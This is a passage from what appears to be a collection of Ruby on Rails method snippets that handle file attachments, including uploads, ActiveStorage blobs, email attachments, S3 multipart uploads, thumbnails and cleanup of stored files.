#model.pdf_length = thumbs[:thumbs].count\n #model.save!\n end",
"def build_existing_attachments\n attachments = Array(object.send(name))\n\n attachments.map.with_index do |attachment, index|\n if multiple?\n @builder.hidden_field(name, multiple: true, id: (tag_id + \"_#{index}\"), value: attachment.signed_id)\n else\n @builder.hidden_field(name, id: tag_id, value: attachment.signed_id)\n end\n end.join.html_safe\n end",
"def attachments\n if attachment_ids\n attachment_ids.map {|id| Attachment.find(id)}\n else\n []\n end\n end",
"def postmark_attachments\n attachments.map do |attachment|\n hash = {\n 'ContentType' => attachment.content_type,\n 'Name' => attachment.filename,\n 'Content' => Base64.encode64(attachment.body.decoded)\n }\n if attachment.content_type.start_with?('image/')\n hash['ContentID'] = attachment.filename\n end\n hash\n end\n end",
"def finalize_file(uid, info = {})\n upload_id = info[\"multipart_id\"]\n parts = info[\"multipart_parts\"].map do |part|\n { part_number: part[\"part_number\"], etag: part[\"etag\"] }\n end\n\n multipart_upload = object(uid).multipart_upload(upload_id)\n multipart_upload.complete(multipart_upload: { parts: parts })\n\n info.delete(\"multipart_id\")\n info.delete(\"multipart_parts\")\n end",
"def purge_later\n if attached?\n attachments.each(&:purge_later)\n @attachments = nil\n end\n end",
"def delete_attachments\n delete_attachment_queue.each {|k,v| delete_grid_attachment(k,v)}\n end",
"def attachments\n eco_documents = self.eco_documents.reverse\n eco_documents.delete_if { |d| d.specification? }.reverse\n end",
"def attachments_to_remember\n return [] unless self.class.remember_attachments?\n (self.database.get(self.id)[\"_attachments\"] || {}).keys.reject do |a| \n a.match(VERSION_REGEX) || \n !(self.class.remember_attachments.map { |attachment_name_pattern|\n a.match attachment_name_pattern\n }.inject(false) {|b, sum| sum || b})\n end \n end",
"def thumbnails\n manifestation_attachments.reject{|a| a.attachment_type_id != 4}\n end",
"def attachments_metadata\n @attachments_metadata || {}\n end",
"def attachments=(atts)\n atts.each do |attachment|\n if attachment[:id].blank?\n assets.build(attachment)\n else\n asset = assets.detect { |a| a.id == attachment[:id].to_i }\n end\n end \n end",
"def attachments=(atts)\n atts.each do |attachment|\n if attachment[:id].blank?\n assets.build(attachment)\n else\n asset = assets.detect { |a| a.id == attachment[:id].to_i }\n end\n end \n end",
"def attachments=(atts)\n atts.each do |attachment|\n if attachment[:id].blank?\n assets.build(attachment)\n else\n asset = assets.detect { |a| a.id == attachment[:id].to_i }\n end\n end \n end",
"def attachments_for_export\n []\n end",
"def process_attachments(text, attachments)\n attachment_regexp = /\\[attachment=([\\d])+\\]<!-- [\\w]+ -->([^<]+)<!-- [\\w]+ -->\\[\\/attachment\\]?/i\n unreferenced_attachments = attachments.dup\n\n text = text.gsub(attachment_regexp) do\n index = $1.to_i\n real_filename = $2\n unreferenced_attachments[index] = nil\n attachments.fetch(index, real_filename)\n end\n\n unreferenced_attachments = unreferenced_attachments.compact\n text << \"\\n\" << unreferenced_attachments.join(\"\\n\") unless unreferenced_attachments.empty?\n text\n end",
"def attachments\n @attachments ||= []\n end",
"def attach_cached\n return file_attacher.file if file_attacher.cached?\n return if file_attacher.stored? || file_data.blank?\n=begin # TODO: remove when :json resolved\n file_attacher.load_data(file_data)\n=end\n file_attacher_load\n file_attacher.set(nil) unless file_attacher.cached?\n file_attacher.file\n end",
"def attachments(*params)\n id = params[0]\n unnamed = params[1]\n if params[0].class == Hash\n params = params[0]\n id = params[:id] if params.has_key? :id\n unnamed = params[:unnamed] if params.has_key? :unnamed\n end\n unnamed = false if unnamed.to_s == \"0\"\n id = $~[1] if id =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{id}/attachments\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n resp.gsub!(/^\\n/m,\"\") # toss blank lines\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n th = response_to_h(resp)\n list = []\n pattern = /(\\d+:\\s.*?\\))(?:,|$)/\n match = pattern.match(th['attachments'].to_s)\n while match != nil\n list.push match[0]\n s = match.post_match\n match = pattern.match(s)\n end\n attachments = []\n list.each do |v|\n attachment = {}\n m=v.match(/(\\d+):\\s+(.*?)\\s+\\((.*?)\\s+\\/\\s+(.*?)\\)/)\n if m.class == MatchData\n next if m[2] == \"(Unnamed)\" and !unnamed\n attachment[:id] = m[1]\n attachment[:name] = m[2]\n attachment[:type] = m[3]\n attachment[:size] = m[4]\n attachments.push attachment\n end\n end\n attachments\n end",
"def new\n @confirmation= Confirmation.new\n puts \"@confirmation: \" + @confirmation.to_s\n \n @attachedfile = AttachedFile.new\n \n \n # --- START: Retrieve last attached file ---\n # TODO Please avoid duplication on this !!!\n # The big question is where are we come from ? If we have just attached a new file\n # Then we need to retrieve all our attached files. If not, then we are freshly new\n # Remember: session is unsafe, you must not store any sensitive data here\n \n # Retrieve the attached file from session\n # If this file exists, we need to attached it\n if !session[:last_attachedfile].nil?\n attachedfileSaved = YAML.load(session[:last_attachedfile])\n \n \n if !session[:involved_attachedfiles].nil?\n # Retrieve here all session attached files\n @attachedRequestFiles = YAML.load(session[:involved_attachedfiles])\n \n @attachedRequestFiles.push(attachedfileSaved)\n # Save in session\n session[:involved_attachedfiles] = @attachedRequestFiles.to_yaml\n else\n @attachedRequestFiles = []\n end\n \n # After that we flush the data\n # When we arrive first on index\n # Fresh start we need an empty attached file\n session.delete(:last_attachedfile)\n \n puts \"attachedfileSaved: \" + attachedfileSaved.to_s\n \n \n \n else\n # We are freshly new\n puts \"attachedfileSaved is nil\"\n session.delete(:last_attachedfile)\n session.delete(:involved_attachedfiles)\n \n # Must add the files here\n @attachedRequestFiles = []\n \n # Save in session\n session[:involved_attachedfiles] = @attachedRequestFiles.to_yaml\n \n \n end\n \n # --- END: Retrieve last attached file ---\n \n \nend",
"def create_attachment\n @artifact_answer = ArtifactAnswer.find(params[:id])\n if params[:file]\n params[:file].each do |attachment|\n @artifact_answer.attachments.create(attachment_file: attachment, :company_id => current_company.id)\n @attachment_error = @artifact_answer.attachments.last.errors[:\"file_size_exceeds\"][0] if @artifact_answer.attachments.last.errors.present?\n end\n end\n @attachments = @artifact_answer.attachments\n end",
"def attachment_reference_ids_removed\n attachment_reference_ids = []\n self.class.attachable_columns.each do |column|\n attachment_reference_ids += send(\"#{column}#{ATTACHMENT_REMOVED_SUFFIX}\")\n end\n\n attachment_reference_ids\n end",
"def apply_file_metadata(params)\n uploaded_file_ids = params[\"uploaded_files\"]\n return if uploaded_file_ids.nil?\n uploaded_file_ids.each do |uploaded_file_id|\n uploaded_file = find_or_create_uploaded_file(uploaded_file_id)\n next if uploaded_file.pcdm_use == \"primary\"\n apply_metadata_to_uploaded_file(uploaded_file, params)\n end\n params[\"etd\"].delete(\"supplemental_file_metadata\")\n params # return the params after processing, for ease of testing\n end",
"def queue_delete_attachments\n self.class.attachment_types.each do |name|\n delete_attachment(name, read_attribute(\"#{name}_id\"))\n end\n end",
"def cleanup_derivatives\n deleted_files = []\n pyramidal_derivatives = resource.file_metadata.select { |file| file.derivative? && file.mime_type.include?(\"image/tiff\") }\n pyramidal_derivatives.each do |file|\n storage_adapter.delete(id: file.file_identifiers.first)\n deleted_files << file.id\n end\n cleanup_derivative_metadata(derivatives: deleted_files)\n end",
"def order\n params[:attachment_thumbnails].split(',').each_with_index do |id, index|\n Attachment.update_all(['position = ?', index + 1], ['id = ?', id])\n end\n end",
"def multi_upload\n authenticate!\n attachments = []\n (attachment_params[:attachments] || []).each do |key, value|\n if value[:file]\n attachment = value[:file]\n attachment_params = {\n :filename => attachment[:filename],\n :type => attachment[:type],\n :headers => attachment[:head],\n :tempfile => attachment[:tempfile]\n }\n file = ActionDispatch::Http::UploadedFile.new(attachment_params)\n attachments << Attachment.create(file: file, user: current_user)\n end\n end\n {\n code: 0,\n data: attachments\n }\n end",
"def create_attachments\n create_attachment_queue.each {|k,v| create_grid_attachment(k,v)}\n end",
"def get_attachments_metadata(node)\n files_md = {}\n md_list = FileTableKeys\n md_list.delete(RawContent)\n md_fields = md_list.join(\"`, `\")\n \n model_key = node.my_GlueEnv.model_key\n sql = \"SELECT `#{md_fields}` FROM `#{@file_table_name}`\n WHERE `#{NodeName}` = '#{node.__send__(model_key.to_sym)}'\"\n sth = @dbh.prepare(sql)\n rtn = []\n sth.execute\n while row=sth.fetch do\n rtn << row.to_h\n end\n #rtn\n sth.finish\n objects = rtn\n objects.each do |object|\n obj_md = object \n #speputs \"Obj It: #{obj_md.inspect}\"\n obj_md_file_modified = obj_md[\"modified_at\"]\n obj_md_content_type = obj_md[\"content_type\"]\n new_md = {:content_type => obj_md_content_type, :file_modified => obj_md_file_modified}\n new_md.merge(obj_md) #where does the original metadata go?\n #p new_md.keys\n files_md[obj_md[\"basename\"]] = new_md\n #puts \"Obj METADATA: #{new_md.inspect}\"\n end\n files_md\n end",
"def metadata_ingest_files\n return if params[:metadata_ingest_files].blank?\n params[:metadata_ingest_files].map do |metadata|\n metadata = JSON.parse(metadata, symbolize_names: true)\n file = Valkyrie::StorageAdapter.find_by(id: metadata[:id])\n PendingUpload.new(\n id: SecureRandom.uuid,\n storage_adapter_id: file.id,\n created_at: Time.current,\n file_name: metadata[:filename],\n type: metadata[:type]\n )\n rescue\n nil\n end.compact\n end",
"def files_to_final_location\n if @temp_file\n self.disk_directory = target_directory\n self.disk_filename = Attachment.disk_filename(filename, disk_directory)\n logger.info(\"Saving attachment '#{self.diskfile}' (#{@temp_file.size} bytes)\") if logger\n sha = Digest::SHA256.new\n if @temp_file.respond_to?(:read)\n buffer = \"\"\n while (buffer = @temp_file.read(8192))\n sha.update(buffer)\n end\n else\n sha.update(@temp_file)\n end\n\n self.digest = sha.hexdigest\n end\n if content_type.blank? && filename.present?\n self.content_type = Redmine::MimeType.of(filename)\n end\n # Don't save the content type if it's longer than the authorized length\n if self.content_type && self.content_type.length > 255\n self.content_type = nil\n end\n\n if @temp_file\n raw_data =\n if @temp_file.respond_to?(:read)\n @temp_file.rewind\n @temp_file.read\n else\n @temp_file\n end\n RedmicaS3::Connection.put(self.diskfile, self.filename, raw_data,\n (self.content_type || 'application/octet-stream'),\n {digest: self.digest}\n )\n end\n ensure\n @temp_file = nil\n end",
"def zip_attachments(enc)\n\n return nil if self.mail_attachments.nil? or self.mail_attachments.empty?\n\n require 'zipruby'\n\n temp = Tempfile.new('thetis_mail_attachments')\n temp.binmode\n temp.close(false)\n\n fnames = []\n\n Zip::Archive.open(temp.path) do |arc|\n self.mail_attachments.each do |mail_attach|\n fname = mail_attach.name\n begin\n fname.encode!(enc, Encoding::UTF_8, {:invalid => :replace, :undef => :replace, :replace => ' '})\n rescue => evar\n Log.add_error(nil, evar)\n end\n fname += \"(#{fnames.count(fname)+1})\" if fnames.include?(fname)\n fnames << fname\n arc.add_file(fname, mail_attach.get_path)\n end\n end\n\n return temp\n end",
"def unpersisted_attachments(method)\n as_relation = @object.send(method)\n if as_relation.is_a?(ActiveStorage::Attached::One) && as_relation.attachment.present? &&\n !@object.persisted?\n [as_relation.attachment]\n elsif as_relation.is_a?(ActiveStorage::Attached::Many)\n as_relation.reject(&:persisted?)\n else\n []\n end\n end",
"def attachment(params, &block)\n ActiveSupport::Deprecation.warn \"attachment() is deprecated and will be removed in future versions. \" <<\n \"Please use the attachments[] API instead.\"\n params = { :content_type => params } if String === params\n\n params[:content] ||= params.delete(:data) || params.delete(:body)\n\n if params[:filename]\n params = normalize_file_hash(params)\n else\n params = normalize_nonfile_hash(params)\n end\n\n part(params, &block)\n end",
"def attachments\n @attachments ||= begin\n return message.attachments unless message.attachments.empty?\n if full_text_part.nil? && full_html_part.nil?\n [ message ]\n else\n []\n end\n end\n end",
"def attachment\n mail.attachments.map do |attachment|\n blob = ActiveStorage::Blob.create_after_upload!(\n io: StringIO.new(attachment.decoded),\n filename: attachment.filename,\n content_type: attachment.content_type\n )\n return blob\n end\n end",
"def detach\n if attached?\n attachment.destroy\n write_attachment nil\n end\n end",
"def create\n hash = []\n params[:files].each do |i,file_io|\n path = File.join(Rails.root,'public','attach',file_io.original_filename)\n File.open(path, \"wb\") { |f| f.write(file_io.read)}\n attachment = Attachment.create do |attach|\n attach.name = file_io.original_filename\n attach.describe = params[:describe]\n end \n hash.push attachment\n end\n render json: hash\n end",
"def purge\n if attached?\n attachments.each(&:purge)\n @attachments = nil\n end\n end",
"def temporary_attachments\n self.class.read_inheritable_attribute(:temporary_attachments) || []\n end",
"def clean_content_blobs\n ContentBlob.where(asset: nil).where('created_at < ?', BLOB_GRACE_PERIOD.ago).select do |blob|\n Rails.logger.info(\"Cleaning up content blob #{blob.id}\")\n blob.reload\n blob.destroy if blob.asset.nil?\n end\n end",
"def delete_attachment_queue\n @delete_attachment_queue ||= {}\n end",
"def attachments\n parts.attachments\n end",
"def attachment_ids=(new_ids)\n super Attachment.where(:id => new_ids).where(post_id: nil).pluck(:id)\n end",
"def file_hashes\n @file_hashes ||= file_field_sets.map do |file_field_set|\n instantiation_fields, file_fields = file_field_set.partition do |field|\n instantiation_header?(field.header)\n end\n\n file_hash = fields_to_hash(file_fields)\n file_hash['files'] = [fields_to_hash(instantiation_fields)]\n\n file_hash\n end\n end",
"def new_file_attachment_attributes=(file_attachment_attributes)\n file_attachment_attributes.each do |attributes|\n file_attachments.build(attributes) unless attributes[\"attachment\"].blank?\n end\n end",
"def rebundle\n @content = nil\n @etag = nil\n @files = nil\n @options_hash = options_hash.hash\n end",
"def sync\n before_ids = Article.all.pluck(:id)\n after_ids = []\n\n file_paths.each do |file_path|\n article_data = extract_meta_data(file_path)\n article = Article.where(article_data).first_or_create\n\n article.body = extract_body(file_path)\n article.file_name = File.basename(file_path)\n\n front_matter = extract_front_matter(file_path)\n if front_matter.present?\n article.title = front_matter[:title]\n article.snippet = front_matter[:snippet]\n end\n\n article.save!\n\n after_ids << article.id\n end\n\n will_delete_ids = before_ids - after_ids\n Article.where(id: will_delete_ids).destroy_all\n end",
"def video_parts_attributes\n video_parts.map{|video_part| video_part.serializable_hash(only: [:source_url, :number, :duration]) }\n end",
"def linked_attachments\n @linked_attachments ||= []\n meeting.attachments.values.flatten.\n reject { |attachment| attachment.instance_of?( Motion ) || attachment.instance_of?( MotionCommentReport ) }.\n sort { |x,y| x.document.size <=> y.document.size }.\n reduce(0) do |size, attachment|\n if ( size + attachment.document.size ) > THRESHOLD\n @linked_attachments.push attachment\n size\n else\n size + attachment.document.size\n end\n end\n @linked_attachments\n end",
"def detach(attachment)\n self.attachment_ids -= [attachment.id] if attachment_ids\n self.joined_attachments -= [attachment]\n end",
"def attachments_inline\n inline_attachments = {}\n body.gsub( /<img[[:space:]](|.+?)src=\"cid:(.+?)\"(|.+?)>/im ) do |_item|\n cid = $2\n\n # look for attachment\n attachments.each do |file|\n content_id = file.preferences['Content-ID'] || file.preferences['content_id']\n next if content_id.blank? || (content_id != cid && content_id != \"<#{cid}>\" )\n\n inline_attachments[file.id] = true\n break\n end\n end\n new_attachments = []\n attachments.each do |file|\n next if !inline_attachments[file.id]\n\n new_attachments.push file\n end\n new_attachments\n end",
"def update_attachments(issue, args)\n if issue.persisted?\n delete_ids = args[:delete_attachments]\n issue.attachments.in(id: delete_ids).update_all(deleted: true)\n end\n\n return if (attachments.nil? || attachments.empty?)\n\n attachments.each do |attachment|\n if attachment[:id].blank?\n new_file = issue.attachments.build\n new_file.file = attachment[:data] # <json string>\n new_file.save!\n end\n end\n end",
"def update_attachment_references\n return if attachment_references.empty?\n\n ids = attachment_reference_ids_removed\n attachment_references.each do |attachment_reference|\n attachment_reference.mark_for_destruction if ids.include?(attachment_reference.id)\n end\n end",
"def refresh_fragments_since(last_refresh_fragments_since_time)\n complete_refresh = false\n \n if @filesystem_impl.exist?(@asset_packager_yml_file)\n @asset_packager_yml_file_mtime = @filesystem_impl.mtime(@asset_packager_yml_file)\n if (! @fragment_source_file_to_subpaths_map) || (@asset_packager_yml_file_mtime >= Time.at(last_refresh_fragments_since_time.to_i))\n fragment_set.remove_all!\n complete_refresh = true\n read_fragment_source_file_to_subpaths_map\n end\n\n @fragment_source_file_to_subpaths_map.each do |fragment_source_file, subpaths|\n if complete_refresh || (! last_refresh_fragments_since_time) || (! @filesystem_impl.exist?(fragment_source_file)) || (@filesystem_impl.mtime(fragment_source_file) >= last_refresh_fragments_since_time)\n fragment_set.remove_all_for_file(fragment_source_file) unless complete_refresh\n if @filesystem_impl.exist?(fragment_source_file)\n fragment_set.add(AssetAggregator::Core::Fragment.new(subpaths, AssetAggregator::Core::SourcePosition.new(fragment_source_file, nil), @filesystem_impl.read(fragment_source_file), @filesystem_impl.mtime(fragment_source_file)))\n end\n end\n end\n else\n @fragment_source_file_to_subpaths_map = nil\n @asset_packager_yml_file_mtime = nil\n fragment_set.remove_all!\n end\n end",
"def create_attachment_queue\n @create_attachment_queue ||= {}\n end",
"def add_attachments\n @dialog.setSubStatusAndLogIt('Getting attachments')\n @dialog.setSubProgress(1, 5)\n u = ITEM_UTILITY.union(@items['endpoint-attach'], @items['thread-attach'])\n @dialog.logMessage(\"Finding attachments from #{u.size} items with status: endpoint-attach OR thread-attach\")\n @dialog.setSubProgress(2)\n a = ITEM_UTILITY.find_descendants(u)\n @dialog.logMessage(\"Found #{a.size} descendants\")\n @dialog.setSubProgress(3)\n d = ITEM_UTILITY.deduplicate(a)\n @dialog.logMessage(\"Adding #{d.size} deduplicated items (attachments)\")\n @dialog.setSubProgress(4)\n d.to_a\n end",
"def create_attachment_thumbnails\n attachment_options[:thumbnails].each { |suffix, size| create_thumbnail(suffix, size) } unless attachment_options[:thumbnails].blank? || parent_id\n end",
"def stage_attached_files(publication)\n uploaded_files = []\n publication.publication_files.each do |f|\n temp_file_path = File.join(Rails.root, 'tmp/publishing_staged_uploads', f.key, f.filename.to_s)\n temp_file_directory = File.dirname(temp_file_path)\n FileUtils.mkdir_p(temp_file_directory) unless File.directory?(temp_file_directory)\n File.open(temp_file_path, 'wb') do |file|\n file.write(f.download)\n end\n uploaded_files << { path: temp_file_path, content_type: f.content_type }\n end\n uploaded_files\n end",
"def delete_fragments\n glob_cache_expire( 'C:/tmp/cache/views/user_type_id/*/browse/category_id/' + self.id.to_s )\n\n glob_cache_expire( 'C:/tmp/cache/views/user_type_id/*/shared_symbiont/symbiote_wrapper_container/symbiote_item_category_id/' + self.id.to_s )\n\n glob_cache_expire( 'C:/tmp/cache/views/user_type_id/*/shared_menu/menu_organized_category/category_id/' + self.id.to_s )\nend",
"def filter_signature_attachments(message)\n attachments = message.attachments\n\n if message.content_type&.starts_with?('multipart/signed')\n signature_protocol = message.content_type_parameters[:protocol]\n\n attachments.delete_if { |attachment| attachment.content_type.starts_with?(signature_protocol) } if signature_protocol.present?\n end\n\n attachments\n end",
"def prepare_data(params)\n build_ingest_form\n build_uploader(params[:upload], params[:upload_cache])\n build_asset(params[:id], params[:template_id])\n assign_form_attributes(params)\n find_unmapped_rdf\n end",
"def deleteEssence\n \n begin\n \n # Gets @filename and @path\n getPathAndFilename \n name = @filename \n filepath = @path\n puts \"filepath: \" + filepath \n puts \"filename: \" + name\n \n # Find the device \n device = User.find_by_username(params[:username]).devices.find_by_dev_name(params[:devicename])\n \n # Essence can't be deleted from a virtual container\n if device.dev_type == \"virtual_container\"\n render :text => \"Error: Essence can't be deleted from a virtual container'\", :status => 409\n return \n end\n \n file = nil\n if device != nil\n file = device.devfiles.find(:first, :conditions => [\"name = ? and path = ?\", name, filepath])\n if file == nil\n puts \"FILE NOT FOUND: \" + name\n render :text => \"Error. File's metadata can not be found.\", :status => 404\n return\n end\n \n if params[:blob_hash]\n blob = file.blobs.find(:first, :conditions => [\"blob_hash = ?\", params[:blob_hash]])\n else\n blob = file.blobs.find_by_follower_id(nil)\n end\n end\n \n # Checks that the file's and it's version's metadata can be found in database.\n if file == nil or blob == nil\n puts \"Blob not found for file: \" + name\n render :text => \"Error. File's metadata can not be found.\", :status => 404\n return\n end\n \n if blob.uploaded == false\n render :text => \"Error: Essence of the file was not on the server.\", :status => 409\n return\n end\n \n # Remove the fileupload entry\n fup = Fileupload.find_by_blob_id(blob.id)\n if fup != nil\n fup.destroy\n end\n \n # Update blob not to be uploaded and upload_requested to nil\n blob.update_attribute(:uploaded, false)\n blob.update_attribute(:upload_requested, nil)\n \n \n # Remove the actual essence\n deletepath = \"public/devfiles/\" + file.device_id.to_s + \"/\" + blob.blob_hash + \"_\" + file.name\n \n if File.exists?(deletepath)\n FileUtils.rm_f(deletepath)\n puts \"deleted the essence...\"\n else\n puts \"Essence not found and could not be deleted...\"\n end\n \n rescue => exp\n putsE(exp)\n render :text => \"There was an error when trying to delete the essence from the server\", :status => 409\n return\n end\n \n render :text => \"Essence of the file deleted from the server\", :status => 200\n return\n end",
"def prepare_multipart_data(payload)\n boundary = \"infosimples\" + rand(1_000_000).to_s # a random unique string\n\n content = []\n payload.each do |param, value|\n content << '--' + boundary\n content << \"Content-Disposition: form-data; name=\\\"#{param}\\\"\"\n content << ''\n content << value\n end\n content << '--' + boundary + '--'\n content << ''\n\n [boundary, content.join(\"\\r\\n\")]\n end",
"def get_attachments_for_display\n ensure_parts_counted\n\n main_part = get_main_body_text_part\n leaves = get_attachment_leaves\n attachments = []\n for leaf in leaves\n if leaf != main_part\n attachment = FOIAttachment.new\n\n attachment.body = leaf.body\n # As leaf.body causes MIME decoding which uses lots of RAM, do garbage collection here\n # to prevent excess memory use. XXX not really sure if this helps reduce\n # peak RAM use overall. Anyway, maybe there is something better to do than this.\n GC.start \n\n attachment.filename = _get_censored_part_file_name(leaf)\n if leaf.within_rfc822_attachment\n attachment.within_rfc822_subject = leaf.within_rfc822_attachment.subject\n\n # Test to see if we are in the first part of the attached\n # RFC822 message and it is text, if so add headers.\n # XXX should probably use hunting algorithm to find main text part, rather than\n # just expect it to be first. This will do for now though.\n # Example request that needs this:\n # http://www.whatdotheyknow.com/request/2923/response/7013/attach/2/Cycle%20Path%20Bank.txt\n if leaf.within_rfc822_attachment == leaf && leaf.content_type == 'text/plain'\n headers = \"\"\n for header in [ 'Date', 'Subject', 'From', 'To', 'Cc' ]\n if leaf.within_rfc822_attachment.header.include?(header.downcase)\n headers = headers + header + \": \" + leaf.within_rfc822_attachment.header[header.downcase].to_s + \"\\n\"\n end\n end\n # XXX call _convert_part_body_to_text here, but need to get charset somehow\n # e.g. http://www.whatdotheyknow.com/request/1593/response/3088/attach/4/Freedom%20of%20Information%20request%20-%20car%20oval%20sticker:%20Article%2020,%20Convention%20on%20Road%20Traffic%201949.txt\n attachment.body = headers + \"\\n\" + attachment.body\n\n # This is quick way of getting all headers, but instead we only add some a) to\n # make it more usable, b) as at least one authority accidentally leaked security\n # information into a header.\n #attachment.body = leaf.within_rfc822_attachment.port.to_s\n end\n end\n attachment.content_type = leaf.content_type\n attachment.url_part_number = leaf.url_part_number\n attachments += [attachment]\n end\n end\n\n uudecode_attachments = get_main_body_text_uudecode_attachments\n c = @count_first_uudecode_count\n for uudecode_attachment in uudecode_attachments\n c += 1\n uudecode_attachment.url_part_number = c\n attachments += [uudecode_attachment]\n end\n\n return attachments\n end",
"def complete\n for p in params[:parts][:part]\n part = Part.find_by_mrokhash(p[:mrokhash])\n part.movie_file_meta_data = true\n part.update_attributes(p)\n expire_page rip_url(part.rip) if part.rip\n end\n head :ok\n end",
"def photo__after_destroy_trigger\r\n\r\nDir[File.join(FILES_DEST_PHOTO, \"#{self.id}_*\")].each{|f| File.delete(f)}\r\nDir[File.join(FILES_DEST_PHOTO__THUMBS, \"#{self.id}_*\")].each{|f| File.delete(f)}\r\nend",
"def _cleanup_file_to_h( file, attach_h )\r\n file_name = file.xpath('file-name').text.strip\r\n file_h = {}\r\n data = file.xpath('size')\r\n file_h[:size_text] = data.attribute('format').value\r\n file_h[:size] = data.text.to_i\r\n file_h[:date] = file.xpath('date').text.strip\r\n attach_h[file_name] = file_h\r\n file_h \r\n end",
"def attach_asset_and_enqueue\n\n Core.log(\"============= RETRIEVING ASSET FOR ##{self.id}\")\n begin\n design_url = URI.parse(self.asset_url)\n rand_id = rand(999999).to_s\n tempfile = \"#{Rails.root}/tmp/\" + rand_id + '.jpg'\n error_file = \"#{Rails.root}/tmp/#{self.product.id}-#{self.id}-#{self.order.id}-error\" + '.jpg'\n Core.log(\"********** Creating Tempfile #{tempfile} **************\")\n tries = 0\n\n begin\n http = Net::HTTP.new(design_url.host, design_url.port)\n use_ssl = (design_url.port == 443) ? true : false\n http.use_ssl = use_ssl\n http.open_timeout = 15\n http.read_timeout = 30\n \n if design_url.query.blank?\n path = design_url.path\n else\n path = design_url.path + \"?\" + design_url.query\n end\n \n Core.log(\"*********** Image URL: #{self.asset_url} ****************\")\n request = Net::HTTP::Get.new(path)\n response = http.request(request)\n \n if response.kind_of?(Net::HTTPRedirection)\n Core.log \"============= WE GOT REDIRECTED! =====================\"\n design_url = URI.parse(response['location'])\n Core.log(\"*********** Image URL: #{design_url} ****************\")\n raise \"WE_GOT_REDIRECTED\"\n end\n\n Core.log(\"============= HTTP response code: #{response.code.inspect}, HTTP message: #{response.message.inspect}\")\n open(tempfile, \"wb\") {|file| file.write(response.body)}\n\n rescue\n Core.log(\"============= In the rescue HTTP response: #{response.inspect}\")\n tries += 1\n Core.log(\"============= RETRY NUMBER #{tries.to_s}: ASSET RETRIEVAL FOR ##{self.id}\")\n retry if tries < 3\n Core.log(\"============= RETRY: giving up on ASSET RETRIEVAL FOR ##{self.id}\")\n Core.log(\"*************** Deleting Tempfile #{tempfile} ******************\")\n File.delete(tempfile)\n end\n\n File.open(tempfile, 'rb') { |design| self.asset = design }\n asset_width = Paperclip::Geometry.from_file(tempfile).width.to_i\n asset_height = Paperclip::Geometry.from_file(tempfile).height.to_i\n\n self.asset_dimensions = \"#{asset_width}x#{asset_height}\"\n self.save\n\n=begin\n if self.order.source.name.upcase == \"SHUTTERFLY\" || self.order.source.shutterfly_partner\n file_type = %x[identify -format '%m' \"#{tempfile}\"].gsub!(\"\\n\", \"\")\n if file_type == \"PDF\"\n #save a copy for jessa's color comparisons\n target = \"#{Rails.root}/public/assets/uploaded_pdfs/\" + self.order.id.to_s + \"-\" + self.id.to_s + \"-original.pdf\"\n Core.log(\"*************** Copying Tempfile #{tempfile} to uploaded_pdf file #{target}******************\")\n FileUtils.cp(tempfile, target)\n end\n end\n=end\n\n\n Core.log(\"*************** Deleting Tempfile #{tempfile} ******************\")\n File.delete(tempfile)\n\n # Drop the attached asset in the queue to generate manufacturable assets.\n Core.enqueue(self)\n\n rescue Exception => e\n #don't move this line below self.update_attribute...causes self to change to a different object\n self.order.set_status('Asset Error(s)')\n Rails.logger.info \"\\n\\n****=====***** image upload failed with this error: #{e.inspect} ****=====*****\\n\\n\"\n Core.log(\"============= ERROR RETRIEVING ASSET FOR ##{self.id}\")\n OrderStatus.create(:order_id => order.id, :status => \"Error fetching asset ##{id}\")\n self.update_attribute(:asset_errors, true)\n Core.log(\"*************** Renaming Tempfile #{tempfile} => #{error_file} ******************\")\n File.rename(tempfile,error_file)\n end\n\n end",
"def remember_attachments; @remember_attachments || []; end",
"def create\n @attachment = @page.attachments.find(params[:new_id]) #Attachment.new(params[:attachment])\n params[:attachment]['role_ids'] ||=[]\n if params[:public_page]==\"public\"\n params[:attachment]['role_ids']=[]\n end\n #RAILS_DEFAULT_LOGGER.error(\"\\n create_attachment params[:position]=#{params[:position]}\\n\")\n if params[:position] && !params[:position].blank?\n params[:attachment]['position']=params[:position]\n # RAILS_DEFAULT_LOGGER.error(\"\\n create_attachment params[:attachment]['position']= #{params[:attachment]['position']}\\n\")\n end\n \n # @page.attachments<<@attachment\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n cleanup_empty_attachments\n flash[:notice] = 'attachment was successfully created.'\n format.html { redirect_to page_attachments_url }\n format.xml { head :created, :location => page_attachment_url(@attachment) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attachment.errors.to_xml }\n end\n end\n end",
"def attachments\n load_object\n load_attachments\n render layout: false\n end",
"def attach(*attachables)\n @attachments = attachments | Array(attachables).flatten.collect do |attachable|\n ActiveStorage::Attachment.create!(record_gid: record.to_gid.to_s, name: name, blob: create_blob_from(attachable))\n end\n end",
"def update_attachable(a_id, c_id, a_params)\n logger.debug(\"updating attachments\")\n print \"updating attachments\\n\"\n status = true\n sd_list = Document.where(attachable_id: c_id)\n se_list = Embed.where(attachable_id: c_id)\n a_list = sd_list + se_list\n\n # Sort original list\n a_list.sort! { |x,y| x.display_index <=> y.display_index }\n\n # Find and update the appropriate attribute\n a_idx = a_list.index{ |x| x.id == a_id.to_i }\n a_list[a_idx].assign_attributes(a_params)\n nd_idx = a_list[a_idx].display_index\n\n # Edge case resolving because of the way ruby sorts\n if nd_idx > a_idx\n a_list[a_idx].display_index = a_list[a_idx].display_index + 1\n else\n a_list[a_idx].display_index = a_list[a_idx].display_index - 1\n end\n \n # ReSort the list so that the updated indexes are correct\n a_list.sort! { |x,y| x.display_index <=> y.display_index }\n\n # Re-Update the indices ( With large offset )\n a_list.each_with_index {|x, index| x.display_index = a_list.length + index}\n if a_list.any?{|a| a.display_index < a_list.length}\n throw Error.new(\"This is bad\")\n end\n\n # Split the list and rewite without collision\n begin\n d_list = a_list.find_all { |x| x.class == Document }\n d_list.each(&:save!)\n\n e_list = a_list.find_all { |x| x.class == Embed }\n e_list.each(&:save!)\n rescue Exception => eek\n print(eek)\n status and false\n end\n\n # Remove the offset from the indexes\n a_list.each_with_index {|x, index| x.display_index = index}\n\n # Split the list and rewite final version\n begin\n d_list = a_list.find_all { |x| 